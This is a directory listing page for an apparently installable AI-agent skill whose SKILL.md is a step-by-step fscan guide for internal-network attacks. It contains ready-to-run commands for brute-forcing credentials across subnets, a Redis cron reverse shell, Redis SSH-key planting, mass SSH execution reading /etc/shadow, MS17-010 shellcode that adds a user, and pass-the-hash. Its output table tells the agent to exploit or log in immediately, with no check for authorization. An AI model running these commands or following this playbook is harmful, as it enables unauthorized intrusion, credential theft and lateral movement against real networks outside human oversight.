Skip to content
Back to skills

Fscan Scan

CSecurity

fscan: intranet sweep, weak creds, MS17-010, DC discovery

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 29, 2026
securitypythongoshellbashsqlgitdatabaseperformance

Works with

  • mcp

Security analysis

C63/100
  • criticalAccesses sensitive system or user directories
  • criticalAccesses sensitive system or user directories
  • criticalReads or references SSH private keys

Pro shows the line behind each finding and how to fix it

Scanned November 29, 2026

npx -y skills add blackfoxxx/kestrel --skill fscan-scan --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Fscan Scan?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Fscan Scan
[![Security: C — Skills Directory](https://www.skillsdirectory.com/api/skills/blackfoxxx-fscan-scan/badge)](https://www.skillsdirectory.com/skills/blackfoxxx-fscan-scan)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: fscan-scan
description: "fscan: intranet sweep, weak creds, MS17-010, DC discovery"
metadata: 
tags: "fscan,internal network scan,port scan,weak password,poc,host discovery,lateral,port,scan,bruteforce,subnet,internal network pentest,redis,ms17010,netbios,domain controller"
category: "tool"
mcps: autopen, pentest mcp, context1337
---

# fscan Comprehensive Internal-Network Scanning

fscan bundles the most common internal-pentest actions — host discovery, port scanning, service identification, weak-credential brute-forcing, vulnerability PoCs, and even some exploitation — into a single dependency-free Go binary. Upload it to an internal host and it just runs; no need to install nmap or Python.

> **Important**: In post-exploitation scenarios, fscan should be uploaded to and run on the target host whenever possible, rather than run locally through a proxy tunnel — SOCKS5 does not support ICMP, so host discovery breaks, and heavy scan traffic through a tunnel is slow and unstable. For how to deliver tools to the target → load the `tool-delivery` skill.

Project URL: https://github.com/shadow1ng/fscan

## Why fscan is the first choice for internal-network scanning

| Dimension | fscan | nmap |
|------|-------|------|
| Deployment | Single binary, scp it over and use it directly | Needs installation, usually absent on internal hosts |
| Speed | 600 concurrent threads by default, finishes a /24 in seconds | Single-threaded by default, slow |
| Weak credentials | Built-in brute-forcing for SSH/SMB/RDP/MySQL/MSSQL/Redis/PostgreSQL/Oracle/FTP/MongoDB | Not supported |
| PoC | Built-in MS17-010 / Redis unauthorized access / WebLogic / Struts2 and more, compatible with xray PoCs | Requires NSE scripts |
| Exploitation | Redis public-key writing, SSH command execution, MS17-010 shellcode | Not supported |
| Domain-controller identification | NetBIOS discovery + DC tagging | Requires extra scripts |
| Web fingerprinting | Automatically identifies CMS/OA frameworks (Seeyon, Weaver, Tongda, etc.) | Not supported |

nmap's strengths lie in precise service-version identification (`-sV`) and its NSE script ecosystem. Recommended workflow: **fscan for fast full-subnet scanning → nmap for deep probing of high-value targets**.

## Phase 1: Basic scanning

```bash
# most used: full-feature scan (alive + ports + weak passwords + POCs together)
fscan -h 10.0.0.0/24

# fast mode (alive + ports only, skip web POCs)
fscan -h 10.0.0.0/24 -nopoc

# silent scan (less output noise)
fscan -h 10.0.0.0/24 -nopoc -nobr

# read targets from a file
fscan -hf targets.txt

# exclude specific hosts
fscan -h 10.0.0.0/24 -hn 10.0.0.1,10.0.0.254
```

`-nopoc` skips web vulnerability PoCs and `-nobr` skips weak-credential brute-forcing — the two are controlled independently. Skipping both leaves only host + port scanning: the fastest, but the least informative.

## Phase 2: Port and module control

```bash
# specify ports
fscan -h 10.0.0.0/24 -p 22,80,445,3389,6379

# append ports to the default list (does not override defaults)
fscan -h 10.0.0.0/24 -pa 3389,5985

# exclude some ports
fscan -h 10.0.0.0/24 -pn 445

# all ports
fscan -h 10.0.0.0/24 -p 1-65535

# run a single module (no full scan)
fscan -h 10.0.0.0/24 -m ssh          # SSH brute force only
fscan -h 10.0.0.0/24 -m ms17010      # EternalBlue detection only
fscan -h 10.0.0.0/24 -m netbios      # NetBIOS probing only (DC identification)
fscan -h 10.0.0.0/24 -m icmp         # liveness probing only (large segments)
fscan -h 10.0.0.0/24 -m webonly      # skip port scanning, probe web directly
```

Default port list: `21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017`

The value of `-m` is precise control — when a full scan is too slow, specify a module to do only what you care about.

## Phase 3: Weak-credential brute-forcing

This is fscan's biggest differentiator versus nmap. The default scan already includes weak-credential detection (with a built-in wordlist), but you can also customize it:

```bash
# custom usernames and passwords (comma-separated)
fscan -h 10.0.0.0/24 -user admin,root,sa -pwd 'admin,123456,P@ssw0rd'

# append to the default dictionaries (does not override built-ins)
fscan -h 10.0.0.0/24 -usera DBA -pwda 'Str0ngPwd!'

# load from files
fscan -h 10.0.0.0/24 -userf /tmp/users.txt -pwdf /tmp/passwords.txt

# brute-force threads (default 1; higher is faster but easier to detect)
fscan -h 10.0.0.0/24 -br 5

# domain-user brute force (SMB)
fscan -h 10.0.0.0/24 -m smb -domain CORP
```

Supported brute-force protocols:

| Protocol | Default port | Notes |
|------|----------|------|
| SSH | 22 | Linux remote access |
| SMB | 445 | Windows file sharing, Pass-the-Hash |
| RDP | 3389 | Windows remote desktop |
| MySQL | 3306 | Database |
| MSSQL | 1433 | Database (weak sa credentials are common) |
| PostgreSQL | 5432 | Database |
| Oracle | 1521 | Database |
| Redis | 6379 | No auth = direct exploitation |
| FTP | 21 | File transfer |
| MongoDB | 27017 | No auth = data leak |
| Memcached | 11211 | No auth |

## Phase 4: Vulnerability PoCs and web fingerprinting

```bash
# the default scan bundles POCs (MS17-010, unauth Redis, WebLogic, Struts2, ...)
fscan -h 10.0.0.0/24

# run only POCs with specific names
fscan -h 10.0.0.0/24 -pocname weblogic
fscan -h 10.0.0.0/24 -pocname shiro

# full POC scanning (e.g. shiro tries 100 keys instead of the default 10)
fscan -h 10.0.0.0/24 -full

# load external xray-format POCs
fscan -h 10.0.0.0/24 -pocpath /tmp/my_pocs/

# forward POC traffic through an HTTP proxy (pair with Burp for auditing)
fscan -h 10.0.0.0/24 -proxy http://127.0.0.1:8080
```

Web fingerprinting is automatic — fscan identifies common CMSs (WordPress/Drupal) and Chinese OA systems (Seeyon/Weaver/Tongda/Yonyou) and flags them in the output.

## Phase 5: Post-exploitation features

fscan is not just a scanner; it can also perform some exploitation directly. This is useful in internal pentests — exploit a weakness immediately after finding it, without switching tools:

```bash
# Redis writes an SSH public key (unauth Redis → SSH login)
fscan -h 10.0.0.30 -rf ~/.ssh/id_rsa.pub

# Redis cron reverse shell
fscan -h 10.0.0.30 -rs 10.0.0.5:4444

# SSH mass command execution (use right after finding weak passwords)
fscan -h 10.0.0.0/24 -c "cat /etc/shadow"

# SSH with a private key
fscan -h 10.0.0.10 -m ssh -sshkey /tmp/id_rsa

# MS17-010 exploitation (built-in shellcode, e.g. adding a user)
fscan -h 10.0.0.10 -m ms17010 -sc add

# SMB hash collision (pass-the-hash)
fscan -h 10.0.0.0/24 -m smb2 -user administrator -hash aad3b435b51404eeaad3b435b51404ee:xxxxx

# WMI blind command execution
fscan -h 10.0.0.10 -m wmiexec -user admin -pwd password -c "whoami"
```

## Phase 6: Network and performance tuning

```bash
# skip ICMP liveness probing (when the firewall blocks ping)
fscan -h 10.0.0.0/24 -np

# use ping instead of raw ICMP (some environments restrict raw sockets)
fscan -h 10.0.0.0/24 -ping

# concurrency threads (default 600; raise for large segments)
fscan -h 10.0.0.0/16 -t 2000

# timeout (default 3s; raise on poor networks)
fscan -h 10.0.0.0/24 -time 5

# web timeout (default 5s)
fscan -h 10.0.0.0/24 -wt 10

# SOCKS5 proxy (layered networks, scan the inner layer via proxy)
fscan -h 172.16.0.0/24 -socks5 127.0.0.1:1080

# output to a file (default result.txt)
fscan -h 10.0.0.0/24 -o /tmp/fscan_result.txt

# do not save a file
fscan -h 10.0.0.0/24 -no

# quick triage of large segments (scanning a /8 auto-samples each /24 gateway + random IPs)
fscan -h 192.0.0.0/8 -m icmp
```

## Reading the output

fscan categorizes its output automatically; watch for these key markers:

| Marker | Meaning | Action |
|------|------|------|
| `[+] MS17-010` | EternalBlue | 🔴 Exploit immediately with msf or fscan `-sc add` |
| `[+] DC` | Domain controller | 🔴 Highest-value target, record the IP |
| `[+] Redis unauthorized` | Unauthenticated Redis | 🔴 `fscan -rf` to write a public key, or `-rs` for a reverse shell |
| `[+] weak password` | Weak-credential hit | 🔴 Log in immediately |
| `[+] unauthorized` | Any unauthenticated service | 🔴 Exploit immediately |
| `[+] poc` / `[+] vuln` | Vulnerability hit | 🟡 Verify, then exploit |
| `[*] WebTitle` | Web title + fingerprint | 🟢 Identify the CMS/OA type |
| `[*] NetBios` | NetBIOS information | 🟢 Hostname, domain, OS version |
| `open` | Open port | 🟢 Record for later analysis |

## Real-world scenario quick reference

### Got an internal foothold, quick recon
```bash
ip addr | grep inet          # confirm the current segment
fscan -h 10.0.1.0/24 -o /tmp/result.txt  # run the full sweep
cat /tmp/result.txt          # review all findings
```

### Targeted weak-credential attack (with collected credentials)
```bash
fscan -h 10.0.0.0/24 -p 22,3389,445 \
  -user admin,administrator,root -pwd 'P@ssw0rd,Admin@123'
```

### Domain-controller identification
```bash
fscan -h 10.0.0.0/24 -m netbios    # the [+]DC marker is the domain controller
```

### Cross-subnet scanning
```bash
fscan -h 172.16.0.0/24 -socks5 127.0.0.1:1080
```

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.